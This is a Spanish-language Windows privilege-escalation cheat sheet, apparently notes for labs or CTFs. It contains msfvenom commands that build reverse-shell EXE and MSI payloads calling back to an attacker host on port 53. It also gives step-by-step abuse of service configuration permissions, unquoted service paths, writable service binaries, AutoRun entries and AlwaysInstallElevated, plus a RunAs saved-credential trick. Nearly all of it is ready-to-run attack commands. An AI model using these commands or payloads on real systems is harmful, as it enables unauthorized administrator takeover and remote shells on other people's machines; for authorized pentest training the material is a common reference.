# Windows Privesc

#### Checklist - Escalada de privilegios en Windows

{% embed url="<https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation>" %}

#### Windows Kernel Exploits

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

#### Generación de Reverse Shell ejecutable

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
```

{% endcode %}

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}

#### Permisos sobre servicios

{% code overflow="wrap" %}

```powershell
#Enumeración de permisos de usuario sobre un servicio
.\accesschk.exe /accepteula -uwcqv <USUARIO> <SERVICIO> 
#Si tiene habilitada la opción “SERVICE_CHANGE_CONFIG” se puede cambiar la configuración del servicio con dicho usuario
sc config <SERVICIO> binpath= "\"C:\<NUEVO_PATH>"" #Cambia el path para el servicio
net start <SERVICIO> #Inicia el servicio
```

{% endcode %}

#### Ruta absoluta del servicio sin entrecomillar (Unquoted Service Path)

```powershell
sc qc <SERVICIO>
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
net start < SERVICIO>
```

#### Ejecutables de servicios

{% code overflow="wrap" %}

```powershell
sc qc <SERVICIO>
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start < SERVICIO>
```

{% endcode %}

#### AutoRuns

{% code overflow="wrap" %}

```powershell
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run #Muestra el registro de ejecutables AutoRun
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe”
#Para que funcione el exploit la máquina tiene que reiniciarse y alguien tiene que iniciar sesión, si es un admin mejor :)
```

{% endcode %}

#### AlwayInstallElevated

{% code overflow="wrap" %}

```powershell
#Muestra el registro para los valores de AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#Creamos un instalador con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
#Nos ponemos a la escucha con netcat y ejecutamos el instalador
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

{% endcode %}

#### Aplicaciones inseguras con GUI

{% code overflow="wrap" %}

```powershell
#Comprobar usuario que está ejecutando la aplicación
tasklist /V | findstr <Programa>.exe
#Si es posible, abrir un cmd.exe desde la GUI para obtener sesión como dicho usuario
#Por ejemplo: introducir “file://c:/windows/system32/cmd.exe” en la barra de navegación
```

{% endcode %}

#### Impersonation privileges

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges>" %}

#### Potatoes

{% embed url="<https://jlajara.gitlab.io/Potatoes_Windows_Privesc>" %}

#### RunAs

{% code overflow="wrap" %}

```powershell
cmdkey /list
C:\Windows\System32\runas.exe /user: <DOMAIN>\<USER> /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt" #Ejemplo para leer la flag de root y almacenarla en otra carpeta
#RunAs es equivalente a “sudo” en Linux
```

{% endcode %}
